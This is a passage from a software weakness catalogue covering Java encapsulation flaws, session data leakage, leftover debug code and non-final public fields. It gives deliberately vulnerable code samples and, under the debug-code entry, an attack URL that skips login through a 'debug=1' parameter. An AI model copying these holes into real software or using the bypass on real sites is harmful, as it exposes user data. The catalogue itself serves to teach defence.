CLASP			Comparing classes by name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ09-J		Compare classes and not class names
Software Fault Patterns	SFP1		Glitch in computation

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-487: Reliance on Package-level Scope

**Weakness ID** : 487

**Structure** : Simple

**Abstraction** : Base

### Description

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

### Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Any data in a Java package can be accessed outside of the Java framework if the package is distributed.</i>	
Integrity	Modify Application Data  <i>The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: Java*

*(Bad)*

```
package math;
public class Lebesgue implements Integration{
    public final Static String youAreHidingThisFunction(functionToIntegrate){
        return ...;
    }
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.



Nature	Type	ID	Name	V	Page
MemberOf		850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158
MemberOf		966	SFP Secondary Cluster: Other Exposures	888	2196

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Relying on package-level scope
The CERT Oracle Secure Coding Standard for Java (2011)	MET04-J		Do not increase the accessibility of overridden or hidden methods

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-488: Exposure of Data Element to Wrong Session

**Weakness ID** : 488

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

### Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
CanFollow		567	Unsynchronized Access to Shared Data in a Multithreaded Context	1213

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1018	Manage User Sessions	2225

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1217	User Session Errors	2272

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

#### Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

#### Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

### Demonstrative Examples

#### Example 1:

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

*Example Language: Java*





*(Bad)*

```
public class GuestBook extends HttpServlet {
    String name;
    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
        name = req.getParameter("name");
        ...
        out.println(name + ", thanks for visiting!");
    }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		485	7PK - Encapsulation	700	2121
MemberOf		882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2174
MemberOf		965	SFP Secondary Cluster: Insecure Session Management	888	2196

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Data Leaking Between Users

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-489: Active Debug Code

**Weakness ID** : 489  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.

### Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	V	11	ASP.NET Misconfiguration: Creating Debug Binary	9
CanPrecede	B	215	Insertion of Sensitive Information Into Debugging Code	527

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (Prevalence = Undetermined)

### Alternate Terms

**Leftover debug code** : This term originates from Seven Pernicious Kingdoms

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Integrity	Read Application Data	
Availability	Gain Privileges or Assume Identity	
Access Control	Varies by Context	
Other	<i>The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.</i>	

### Potential Mitigations

**Phase: Build and Compilation**

**Phase: Distribution**

Remove debug code before deploying the application.

### Demonstrative Examples

#### Example 1:

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

*Example Language: HTML*

*(Bad)*

```
<FORM ACTION="/authenticate_login.cgi">
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

*Example Language:*

*(Informative)*

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

*Example Language:*

*(Attack)*

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		485	7PK - Encapsulation	700	2121
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214
MemberOf		1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2299

## Notes

### Other

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Leftover Debug Code
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP28		Unexpected access points

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
661	Root/Jailbreak Detection Evasion via Debugging

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-491: Public cloneable() Method Without Final ('Object Hijack')

**Weakness ID** : 491

**Structure** : Simple

**Abstraction** : Variant

### Description

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

## Potential Mitigations

### Phase: Implementation

Make the cloneable() method final.

## Demonstrative Examples

### Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

*Example Language: Java*

*(Bad)*

```
public class BankAccount implements Cloneable{
    public Object clone(String accountnumber) throws
        CloneNotSupportedException
    {
        Object returnMe = new BankAccount(account number);
        ...
    }
}
```

### Example 2:

In the example below, a clone() method is defined without being declared final.

*Example Language: Java*

*(Bad)*

```
protected Object clone() throws CloneNotSupportedException {
    ...
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<b>C</b>	485	7PK - Encapsulation	<input checked="" type="checkbox"/>	700 2121
MemberOf	<b>C</b>	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	<input checked="" type="checkbox"/>	844 2157
MemberOf	<b>C</b>	1002	SFP Secondary Cluster: Unexpected Entry Points	<input checked="" type="checkbox"/>	888 2214
MemberOf	<b>C</b>	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	<input checked="" type="checkbox"/>	1133 2239

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Object Hijack
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-453]OWASP. "OWASP , Attack Category : Mobile code: object hijack". < [http://www.owasp.org/index.php/Mobile\\_code:\\_object\\_hijack](http://www.owasp.org/index.php/Mobile_code:_object_hijack) >.

## CWE-492: Use of Inner Class Containing Sensitive Data

**Weakness ID** : 492

**Structure** : Simple

**Abstraction** : Variant

### Description

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

### Extended Description

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>"Inner Classes" data confidentiality aspects can often be overcome.</i>	

### Potential Mitigations

**Phase: Implementation**



Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

### Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

### Demonstrative Examples

#### Example 1:

The following Java Applet code mistakenly makes use of an inner class.

Example Language: Java

(Bad)

```
public final class urlTool extends Applet {
    private final class urlHelper {
        ...
    }
    ...
}
```

#### Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Example Language: Java

(Bad)

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a member inner class of OuterClass
    private class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass has access to private member variables of OuterClass
            System.out.println("Value of memberOne is: " + memberOne);
            return OuterClass.this.memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class `InnerClass` is declared using the static modifier that signifies that `InnerClass` is a static member of the enclosing class `OuterClass`. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class `InnerClass` can only access the static member variable `memberTwo` of the enclosing class `OuterClass` but cannot access the nonstatic member variable `memberOne`.

Example Language: Java

(Good)

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private static String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a static inner class of OuterClass
    private static class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass only has access to static member variables of OuterClass
            return memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

### Example 3:

In the following example the `BankAccount` class contains the private member inner class `InterestAdder` that adds interest to the bank account balance. The `start` method of the `BankAccount` class creates an object of the inner class `InterestAdder`, the `InterestAdder` inner class implements the `ActionListener` interface with the method `actionPerformed`. A `Timer` object created within the `start` method of the `BankAccount` class invokes the `actionPerformed` method of the `InterestAdder` class every 30 days to add the interest to the bank account balance based on the interest rate passed to the `start` method as an input parameter. The inner class `InterestAdder` needs access to the private member variable `balance` of the `BankAccount` class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because `InterestAdder` is a non-static member inner class of the `BankAccount` class, `InterestAdder` also has access to the private member variables of the `BankAccount` class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

Example Language: Java

(Bad)

```
public class BankAccount {
    // private member variables of BankAccount class
```

```

private String accountOwnerName;
private String accountOwnerSSN;
private int accountNumber;
private double balance;
// constructor for BankAccount class
public BankAccount(String accountOwnerName, String accountOwnerSSN,
int accountNumber, double initialBalance, int initialRate)
{
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
}
// start method will add interest to balance every 30 days
// creates timer object and interest adding action listener object
public void start(double rate)
{
    ActionListener adder = new InterestAdder(rate);
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
}
// InterestAdder is an inner class of BankAccount class
// that implements the ActionListener interface
private class InterestAdder implements ActionListener
{
    private double rate;
    public InterestAdder(double aRate)
    {
        this.rate = aRate;
    }
    public void actionPerformed(ActionEvent event)
    {
        // update interest
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
    }
}
}
}

```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Example Language: Java

(Good)

```

public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days

```

```

// creates timer object and interest adding action listener object
public void start(final double rate)
{
    // InterestAdder is a local inner class
    // that implements the ActionListener interface
    class InterestAdder implements ActionListener
    {
        public void actionPerformed(ActionEvent event)
        {
            // update interest
            double interest = BankAccount.this.balance * rate / 100;
            BankAccount.this.balance += interest;
        }
    }
    ActionListener adder = new InterestAdder();
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
}
}

```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Example Language: Java

(Good)

```

public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
        int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // anonymous inner class that implements the ActionListener interface
        ActionListener adder = new ActionListener()
        {
            public void actionPerformed(ActionEvent event)
            {
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        };
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}

```

#### Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner

class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Example Language:

(Bad)

```
public class UrlToolApplet extends Applet {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    // and creates button listener object
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        ActionListener submitButtonListener = new SubmitButtonListener();
        submitButton.addActionListener(submitButtonListener);
    }
    // button listener inner class for UrlToolApplet class
    private class SubmitButtonListener implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            if (evt.getSource() == submitButton) {
                String urlString = enterUrlTextField.getText();
                URL url = null;
                try {
                    url = new URL(urlString);
                } catch (MalformedURLException e) {
                    System.err.println("Malformed URL: " + urlString);
                }
                if (url != null) {
                    getAppletContext().showDocument(url);
                }
            }
        }
    }
}
}
```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Example Language: Java

(Good)

```
public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
    }
}
```





```

submitButton.addActionListener(this);
}
// implementation of actionPerformed method of ActionListener interface
public void actionPerformed(ActionEvent evt) {
    if (evt.getSource() == submitButton) {
        String urlString = enterUrlTextField.getText();
        URL url = null;
        try {
            url = new URL(urlString);
        } catch (MalformedURLException e) {
            System.err.println("Malformed URL: " + urlString);
        }
        if (url != null) {
            getAppletContext().showDocument(url);
        }
    }
}
}
}
}

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		485	7PK - Encapsulation	700	2121
MemberOf		849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf		966	SFP Secondary Cluster: Other Exposures	888	2196
MemberOf		1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2239

### Notes

#### Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Use of Inner Class
CLASP			Publicizing of private data when using inner classes
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ08-J		Do not expose private members of an outer class from within a nested class

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/](https://samate.nist.gov/SSATTM_Content/)

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

## CWE-493: Critical Public Variable Without Final Modifier

**Weakness ID** : 493

**Structure** : Simple

**Abstraction** : Variant

### Description

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.



### Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ParentOf		500	Public Static Field Not Marked Final	1133

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

**Language** : C++ (*Prevalence = Undetermined*)

### Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>The object could potentially be tampered with.</i>	
Confidentiality	Read Application Data	



Scope	Impact	Likelihood
	The object could potentially allow the object to be read.	

## Potential Mitigations

### Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

## Demonstrative Examples

### Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Example Language: Java

(Bad)

```
public final class WidgetData extends Applet {
    public float price;
    ...
    public WidgetData(...) {
        this.price = LookupPrice("MyWidgetType");
    }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

### Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

Example Language: C++

(Bad)

```
public string configPath = "/etc/application/config.dat";
```

Example Language: Java

(Bad)

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	485	7PK - Encapsulation	700	2121
MemberOf	<b>C</b>	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf	<b>C</b>	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Non-Final Public Field
CLASP			Failure to provide confidentiality for stored data

